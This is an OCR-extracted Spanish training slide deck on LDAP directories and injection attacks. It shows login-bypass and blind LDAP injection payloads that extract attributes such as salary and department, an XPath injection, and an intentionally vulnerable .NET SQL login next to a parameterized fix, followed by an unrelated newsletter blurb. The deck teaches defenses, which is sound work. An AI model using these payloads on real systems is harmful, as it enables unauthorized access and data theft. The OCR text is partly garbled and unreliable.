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Palabra “poco” utilizada

Una base de datos especializada en
e Consulta de datos frente a actualizacion de datos

e Realizar busquedas especificas frente a listar resultados

Una base de datos que tolera inconsistencias temporales
entre sus réplicas

Algo que utilizan casi todos los servicios y aplicaciones
de red para almacenar la informacion de los usuarios.
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Un protocolo de red para acceder a los directorios

Suele incluir un esquema o patron de la estructura del
directorio para que sea posible la replicacion y
distribucion de datos

Pueden ser:

e Locales: Proporcionan informacion de un contexto
limitado y un unico directorio

e Globales: Proporcionan informacién distribuida entre
varios directorios. (Ejemplo Servicio DNS)
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Aunque no sabemos muy bien que son, son
imprescindibles en nuestras infraestructuras

Son necesarios casi para cualquier aplicacion o servicio de

red.

Su proliferacion genera problemas:
e Se multiplica el esfuerzo para generarlos
e Se multiplica el esfuerzo para que gestionarlos
e Se almacenan informacion duplicada
e Se producen inconsistencias
e Pobre experiencia de usuario

e Problemas de seguridad



Un conjunto de estandares sobre servicios de
directorio

Optimizado para operaciones de Lectura
Estructura Jerarquica

Esquema extensible

Objetos con Clase y Atributos

Espacio de nombres OID

Herencia de Clase



La definicion de un protocolo sobre TCP/IP para
acceso a directorios

La implementacion sencilla de DAP (OSI), creada en
1993 con la para acceso a directorios X.500

Se empezo a popularizar con la Version 2
Actualmente en Version 3

Se desarrollo pensando en solventar la problematica
generada por la proliferacion de directorios.

NO es un directorio ni una Base de datos ni un
almacén de informacion


http://www.ietf.org/rfc/rfc1487.txt
http://www.ietf.org/rfc/rfc1487.txt
http://www.ietf.org/rfc/rfc1487.txt
http://www.ietf.org/rfc/rfc1487.txt

/' —_—

Unificacion de Directorios
e Normalizacion de los datos
e Gestion consistente y centralizada
e Mejor y mas consistente experiencia de usuario
e Seguridad
;Como?
e Disenado para albergar directorios de propodsito general
e Protocolo Sencillo
e Arquitectura distribuida
e Seguridad (Version 3. Acceso-TLS, Autenticacion-SASL)
e Estandar abierto.
Solicitud de funcionalidad y esquema
e Internalizacién (UTF-8)
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Servidor

e Debe de proporcionar informacidn estandar de su
“RootDSA’

e Escucha en el puerto 389 (636 via SSL)

e Puede negociar o requerir seguridad
Cliente

e Primero se ha de conectar al servidor LDAP

e Recibe del Servidor un Mensaje de Resultado estandar
Mensaje

e Hace que todas las comunicaciones sean uniformes

e El ID del mensaje mantiene el registro del clientey
solicitud

e Detalles de control opcionales

Las solicitudes que realiza el cliente son Conexion, Anadir,
Buscar, Borrar y Modificar



Implementado por:
e Active Directory- Microsoft (ADAM)
e Novell Directory Services-Novell
e iPlanet
e OpenLDAP
e Red Hat Directory Server

Esta en cualquier organizacion que utilice alguno de
estas soluciones.

Como directorio de validacion para muchos entornos
WEB.
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LDAP: Base de datos Jerarquica
e Clases

e Objetos

e Herencia

e Contenedores

Busqueda: LDAP Search Filters
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filter = LPAREN filtercomp RPAREN
filtercomp = and / or / not / item

and = AMPERSAND filterlist

or = VERTBAR filterlist

not = EXCLAMATION filter

filterlist = 1*filter

item = simple / present / substring / extensible
simple = attr filtertype assertionvalue
filtertype = equal / approx / greaterorequal / lessorequal
equal = EQUALS

approx = TILDE EQUALS

greaterorequal = RANGLE EQUALS lessorequal = LANGLE
EQUALS
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(&(attributei=value1)(attribute2=valuez))

Ejemplo:
(&(directory=documents)(securitylevel=low))

Inyeccion

(&(directory=files)(securitylevel=*))
(&(directory=documents)(securitylevel=low))
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AND LDAP Injection

@ Login - Mozilla Firefox =)

Archive  Editar  Ver Historial Marcadores Herramientas  Ayuda {:}

« = » - @ @ @ ||_i http:/ fwww ServerDemo.com,/ |'|$J Google &

USER lslisberged)(&)) |
PA.SSWDRDl**************** |

Terminado
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“OR 1=1 en LDAP en 1 filtro

(&(uid=valor_usuario)(webpassword=valor_password))

Valor_usuario = admin)(!(&(|
Valor password = any))

(&(uid= admin)(!(&(|)(webpassword= any))))



“OR 1=1 en LDAP en 2 filtros

(&(uid=valor_usuario)(webpassword=valor_password))

Valor_usuario = admin))(|(|
Valor password = any

(&(uid= admin))(|(|)(webpassword= any))



“OR 1=1 en LDAP en 1 filtro y pico

(&(uid=valor_usuario)(webpassword=valor_password))

Valor_usuario = admin)

Valor password = any

(&(uid= admin)) (webpassword= any))



AND LDAP Injection

‘ Home - Mozilla Firefox =NRCIN X

Archive Editar  Ver Historial Marcadores  Herramientas  Ayuda

i
¢ o » i @ @ @ | httpfwwew . ServerDemo.com ‘Fm Gﬂugle @

HOME

User Steven Lisberger Level low

| Resources | | Documents

Terminado
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Archive Editar Ver Historial

Marcadores  Herramientas  Ayuda

« b » - G ﬁ ||_, http:/www.ServerDemo.com/document.php?path=Documents8trecursive=yes |'|’] ':|Gocrg|e

EY

" User Steven Lisberger

DOCUMENT EXPLORER

Level low

Resources

/Documents/Memos
@ Ray-Ban Memo Draft 0.6

/Documents/Projects
B Hotel White Perl

/Documents/Short Reports
Operations Manager 2003

/Documents/Proposals
D Sony Ericsson Jun 2006

/Documents/Case Studies
B DG Books

@ Prentice Hall

Low

Low

Low

Low

Low

Low

| »

| Terminade
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AND LDAP Injection

& Documents - Mozilla Firefox } ' =

Iﬂrchim Editar Ver Histonal Marcadores Herramientas Ayuda

——n

u L

DOCUMENT EXPLORER

User Steven Lisberger

| Resources |

/Documents/Memos
@ Ray-Ban Memao Draft 0.6

=) LucasArts Memo Final 1.0

Columbia Pictures Memao Final 1.0b
Rev 1

/Documents/Projects
B Hotel Whits Perl

Seagate Summary 2006

/Documents/Short Reports
Operations Manager 2005

Crude stays below $100

/Documents/Proposals
D Sony Ericsson Jun 2006

B Lider Paper May 2007

/Documents/Case Studies
_@ IDG Books

Level low

Low

Mediun

High

Low

High

Low

Mediun

Low

High

Terminado

o
« - » - G @ m ||_j http:/fwww.ServerDemo.com/document.php?Path=documents){level="])&recursive=Yes |'|gl




(| (attributei=value1)(attribute2=value2))

Ejemplo:
(|(cn=D*)(ou=Groups))

Inyeccion:
(|(cn=void)(uid=*)(ou=Groups))

23



" OR LDAP Injection

e

& Resources - Moxzilla Firefox

Archive Editar Ver Historial Marcadores  Herramientas  Ayuda

¢ o * & @ @ @ ||_i http:/fwww. ServerDeme.comy/resources.phpftype=printer

ESIEc)
ik
Y

| b Ig] Google

RESOURCES EXPLORER

User Steven Lisberger

Lewvel low

¥erox 2300 Laser Color HP Laserfet 2100

Cannon 349 Lx II ¥erox WSX1200

Terminado
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OR LDAP Injection

ﬁ Resources - Mozilla Firefox @Eu

Archive Editar VYer Historial Marcadores Herramientas  Ayuda {:}
¢ = @ > @ @ @ | http:/wwew ServerDeme.com/resources.php ttype=printer) (uid=")) |Y| b'] |*|G|:u:|g|e
RESOURCES EXPLORER

Usear Steven Lisberger Lewvel low

Resource| Printers E” Search ]

- - - -

¥earox 2300 Laser Color HP Laserqet 2100 Cannon 349 Lx II ¥erox WSX1200

Steven Lisberger David Warner Cindy Morgan Alan Bradley

Terminado
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e Tiene ldgica binaria
® Tiene soporte para booleanizacion:
e Comodin: *
« Reduccién charset: *a*
« Despliegue: a*
e Relacionales:
o >—
° <=

[ J ~=

e Certezas absolutas (RFC 4526)
e Absolute FALSE (|)
e Absolute TRUE (&)



=}

Ejemplo:
(& (objectClass=printer)(type=HP LaserJet 2100))

Inyeccion para obtener un resultado TRUE:
(&(objectClass=printer)(type=HP Laser]Jet 2100)(objectClass=*))
Inyecciones para obtener valorees objectClass:

(&(objectClass=printer)(type=HP LaserJet 2100)(objectClass=logins))
(&(objectClass=printer)(type=HP LaserJet 2100)(objectClass=docs))
(&(objectClass=printer)(type=HP LaserJet 2100)(objectClass=news))
(&(objectClass=printer)(type=HP LaserJet 2100)(objectClass=adms))
(&(objectClass=printer)(type=HP LaserJet 2100)(objectClass=users))



@ Printer Status - Mozilla Firefox E=E—>x=)
Archive  Editar  Ver Historial Marcadores Herramientas  Ayuda {:}
& i $ v @ @ @ | http:s S wwen ServerDeme. com/printerstatus. phpTidprinter=HP Laser)et 2100)(ipaddress=") |T| b‘]
PRINTER STATUS
User Steven Lavel low
Lisberger
Name:
I"I IP_Adress:
Status:
Cartridge Ink Level :
Terminado '@ p

Attributo NO existe (0 no hay acceso)
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Ataque de diccionario

@ Printer Status - Mozilla Firefox SIS
Archive  Editar  Ver Historial Marcadores Herramientas  Ayuda {:}
¢ v |$ v @ @ @ | http:/ S wwow ServerDemo.com/printerstatus.phpfidprinter=HP Laserlet 2100)(department="] |T| h-]

PRINTER STATUS
User Steven Lavel low
Lisbarger
Mame: HF Laseret 2100
(i IP_Adress: 132.168.1.45
Status: Printing
- Cartridge Ink Level : 51%
Terminado 'i_& P

Attributo existe (y tenemos privilegio de acceso)
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Hection.. ==

;Cuanto dinero gana José Parada?

Low index: 1 — High index: 10 — Middle value: 5
(&(objectClass=*)(uid=jparada)(salary>=5)) ->FALSE
Low index: 1 — High index: 5 — Middle value: 2
(&(objectClass=*)(uid=jparada)(salary>=2)) ->TRUE
Low index: 2 — High index: 5 — Middle value: 3
(&(objectClass=*)(uid=jparada)(salary>=3)) ->TRUE
Low index: 3 — High index: 5 — Middle value: 4
(&(objectClass=*)(uid=jparada)(salary>=4)) ->FALSE
Low index: 4 — High index: 4 — Middle value: 4

Salary=4 [millones de € por mes]

30
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Inyecciones para obtener los valroes de department:

(&(objectClass=printer)(type=HP LaserJet 2100)(department=*)) ->TRUE
(&(objectClass=printer)(type=HP LaserJet 2100)(department=a*)) -> FALSE
(&(objectClass=printer)(type=HP LaserJet 2100)(department=b*))-> FALSE
(&(objectClass=printer)(type=HP LaserJet 2100)(department=c*)) -> FALSE
(&(objectClass=printer)(type=HP LaserJet 2100)(department=d*)) -> FALSE
(&(objectClass=printer)(type=HP LaserJet 2100)(department=e*)) -> FALSE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=f*))->TRUE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=fa*)) -> FALSE
(&(objectClass=printer)(type=HP LaserJet 2100)(department=fb*)) -> FALSE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=fi*))->TRUE




& Printer Status - Mogzilla Firefox

(=[5 ]|

Archive  Editar  Ver Historial Marcadores  Herramientas  Ayuda

3

« = » i @ @ ﬂ ||_| b wwew ServerDemo. com,/printerstatus.phptidprinter=HP Laser]etllﬂﬂ}{department:a*}|'| h]

PRINTER STATUS

Steven
Usear Lisberger Level low
Name:
IP_Adress:
Status
Cartridge Ink Level :
Terminadao @ p

Falso

33



2 1Ual) HIICT

% .
Booleanizacion de datos

& Printer Status - Mogzilla Firefox

(= [ 5 [

Archive  Editar  Ver Historial Marcadores  Herramientas  Ayuda {:}
« = » i @ @ ﬂ |._, http:/ v ServerDemo.comy/printerstatus. phpfidprinter=HP LaserJetZlDﬂ}{department:f*}|'| h]
PRINTER STATUS

U Steven L ¥
=80 Lisberger avel low
Name: HF Laserjet 2100
IP_Adress: 192,168.1.45
Status: Printing
Cartridge Ink Level : 81%
Terminadao @ p

True
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ey 1Ll

3ooleanizacion de datos

(=[5 ]|

0 Printer Status - Mozilla Firefox

Archive  Editar  Ver Historial Marcadores  Herramientas  Ayuda {:}
« = » i @ @ ﬂ |._, thpeSwwew ServerDemo, com)/printerstatus.phpTidprinter=HP LaserJetZlDﬂ}{department:fa*}|'| h]
PRINTER STATUS

Usar Steven Laval low
Lisbarger
Name:
IP_Adress:
Status:
Cartridge Ink Level :
Terminadao @ p

False

35
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Booleanizacion de datos

@ Printer Status - Mozilla Firefox E=SER>=)

Archive  Editar Ver Historial Marcadores  Herramientas  Ayuda -::‘.‘0

« = ﬂ > @ @ m |._, rttpeSfwwew ServerDemo.com/printerstatus. phpfidprinter=HP LaserJetZlDﬂ}{department:fl“}|'| .']

PRINTER STATUS

Usear Steven Lavel low
Lisberger

Name: HF Laserget 2100
IP_Adress: 132.168.1.43
Status: Printing
Cartridge Ink Level : 81%

Terminado

True

36
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Injections to obtain charset used for store data in a attribute:

(&(objectClass=printer)(type=HP LaserJet 2100)(department=*a*)) ->TRUE
(&(objectClass=printer)(type=HP LaserJet 2100)(department=*b*)) -> FALSE
(&(objectClass=printer)(type=HP LaserJet 2100)(department=*c*)) ->TRUE
(&(objectClass=printer)(type=HP LaserJet 2100)(department=*d*)) -> FALSE
(&(objectClass=printer)(type=HP LaserJet 2100)(department=*e*)) -> FALSE
(&(objectClass=printer)(type=HP LaserJet 2100)(department=*f*)) ->TRUE
(&(objectClass=printer)(type=HP LaserJet 2100)(department=*g*))->FALSE
(&(objectClass=printer)(type=HP LaserJet 2100)(department=*h*)) -> FALSE
(&(objectClass=printer)(type=HP LaserJet 2100)(department=**)) ->TRUE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=*z*))->TRUE
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HARSET REDUCTION

(= [ ]|

w Printer Status - Mogzilla Firefox

Archive  Editar  Ver Historial Marcadores  Herramientas  Ayuda {:‘.‘0
« = # = @ @ @ |._, /S www ServerDemo.com/printerstatus. phpfidprinter=HP LaserJe‘tZlﬂD}{department:*h*}|"| h]
PRINTER STATUS

User  Oreven Level low
Lisberger
Name:
IP_Adress:
Status:
Cartridge Ink Level :
Terminado '@

False
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& Printer Status - Mozilla Firefox

Archive  Editar  Ver Historial Marcadores  Herramientas  Ayuda {:‘.‘0
« = # = @ @ @ |._, /S www ServerDemo.com/printerstatus. phpfidprinter=HP LaserJe‘tZlﬂD}{department:*n*}|"| h]
PRINTER STATUS

User  Oreven Level low
Lisberger
Name: HP Laserjet 2100
IP_Adress: 152,168.1.43
Status: Printing
Cartridge Ink Level : 81%
Terminado '@ r
= — =

True
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LDAP Injection/Blind LDAP Injection
e Filtrar
e Uso de privilegios & Roles LDAP

MIMT

e LDAP-s
case "Search":
gfilter = " (& (".SHTTP POST VARS["searchcrit"]."=".
$HITP POST VARS["search"]."*) (& (objectclass=officePerson)))":

include ("inc/List.php");
break:



~—  XPathTnjection

Explotacion

» Dada la siguiente consulta Xpath:

. string(//luserfusername/text()=‘romansoft' and password/text()="ldSR'J/uid/text())

S — A e 5 X O O
I Y B 7
Donde buscar Condicion Que
devolver

» Inyectamos:

. User: abc' or 1=1 or 'a'='b
- Pass: k

....................................................................................................

» La condicion quedaria:

[username/text()=‘abclOr1:110rla|:|b'andpassword/text()=‘k| ...... ] T e




“Contramedidas

No confianza en medias de proteccion en cliente.
Comprobacion de datos de entrada.
Construcciéon segura de sentencias SQL/LDAP/XPath.

Fortificacion de Servidor Web.
e (Codigos de error.
e Restriccion de verbos, longitudes, etc..

e Filtrado de contenido HTTP en Firewall.
URLFilter

ModSecurity
GreenSQL

Fortificacion de SGBD.

e Restriccion de privilegios de motor/usuario de acceso desde web.
e Aislamiento de bases de datos.

29/03/2006 Training Day - Vigo



“Contramedidas

Desarrollo .NET

e Redirigir a una pagina personalizada en caso de error

D WY WA AR | ) fas

<customErrors mode="RemoteOnly" defaultRedirect="GenericErrorPage.htm">
<error statusCode="403" redirect="NoAccess.htm"/>
<error statusCode="404" redirect="FileNotFound.htm"/>

</customErrors>

« Mode = On, Off, RemoteOnly
 DefaultRedirect = Error no especificado

« <error...>—>Errores especificos

29/03/2006 Training Day - Vigo



“Contramedidas

Desarrollo NET (Validadoreg)

Toolbox

=l Yalidation

k Foinker

=k RequiredFieldyalidator

*Y RangeYalidator

#% RegularExpressionyalidator
=L Compareyalidatar

= CustomValidator

~ 1 X

,_E] WalidakionSurnrnarsy

29/03/2006 Training Day - Vigo



“Contramedidas

protected void Buttonl_Click(object sender, EventArgs e){
SqglConnection conn = new SqlConnection(connstr);
conn.Open();

SqglCommand cmd = new SqlCommand();
cmd.Connection = conn;
cmd.CommandText = "Select * from Usuarios where login=""+ txtLogin.Text +"
and password=""+ txtPassword.Text +""";
cmd.CommandType = CommandType.Text;
SqlDataReader dr = cmd.ExecuteReader();
if (dr.HasRows){
//Cbdigo para permitir el paso a la aplicacion
Response.Write("<script>alert('Acceso permitido’);</script>");
}
else{
//Codigo para rechazar el usuario
Response.Write("<script>alert('Acceso denegado');</script>");

}

conn.Close();

29/03/2006 Training Day - Vigo
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“Contramedidas

Desarrollo .NET (Cédigo seguro)
» Consultas parametrizadas

protected void Buttonl Click(object sender, EventArgs e){
SqglConnection conn = new SglConnection(connstr);
conn.Open();
SglCommand cmd = new SgiCommand();
cmd.Connection = conn;
cmd.CommandText = "Select * from Usuarios where login=@login
and password=@pass";
cmd.Parameters.AddWithValue("login", txtLogin);
cmd.Parameters.AddWithValue("pass"”, txtPassword.Text);
cmd.CommandType = CommandType.Text;
dr = cmd.ExecuteReader();
if (dr.HasRows){//Cddigo para permitir el paso a la aplicacion
Response.Write("<script>alert('Acceso permitido');</script>");
} else{//Codigo para rechazar el usuario
Response.Write("<script>alert('Acceso denegado’);</script>");
} conn.Close(); }

29/03/2006 Training Day - Vigo



olucion Total

HI, THIS 1S
WERE HAVING SOME
(OMPUTER TROUBLE.

\%m

YOUR SONS SCHOOL.

OH, DEAR - DID HE
BREAX SOMETHING?

IN A WAY /

S

DID YOU REALLY
NAME YOUR SON
Robert'); DROP
TABLE Gtwents;-~ ?

~ OH.YES UTNE

BOBBY TABLES,
WE CALL HIM.

WELL, WEVE LOST THIS
YEARS STUDENT RECORDS.
I HOPE YOURE HAPPY.

AND I HOPE
. YOUVE LEARNED
TO SANMZE YOUR
DATABASE INPUTS.
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NUEVAS TECNDLOBIAS DE

INFORMATICA &< WWW.INFORMATICAGS.COM I684@ NFORMATICAGS.COM +34 91 665 99 98

.,

Informatica 64. Boletin Técnico. NUmero: 27. Fecha: lunes, 15 de noviembre de 2004

Seguridad, Implementacion de Redes Wireless Seguras

La proteccian de las redes Wireless es uno de los ackuales retos para los departamentos de infraestructura, El ofertar una
solucion de conexion sequra que proteja kanko a los usuarios como al propio sistema es un reko, Microsoft nos propone dos
soluciones de implantacidn, Una primera solucidn, recomendada para entarnos medios, grandes basado en la Certificados
Digitales v una sequnda solucidn para entornos medios basada en PEAP v passwords, Ambas soluciones estan
ampliamente explicadas en los siguientes documentos, Las soluciones se explicaran v se realizaran practicas en un par de
seminatios O Hands on LabO dentro de la camparia que se esta realizando los dias 30 de Moviembre v 9 de Diciembre.,
Toda la informacian en los siguientes enlaces:

- Securing Wireless LANS - & Windows Server 2003 Certificate Services Solution:

hikkp: e, ricrosoft, comftechnetf Security prodeechfwinz003) plivirefplanswlanpg 1, mspo:
- Securing Wireless LANs with PEAP and Passwords:

hikkp: e, ricrosoft, comftechnetsecurity fquidance/peap_0.msp:x

- Hands On Lab:

hikkp: [, ricrosoft, comyspaing' servidores fwindowsserver2003 seminarios hol, asp
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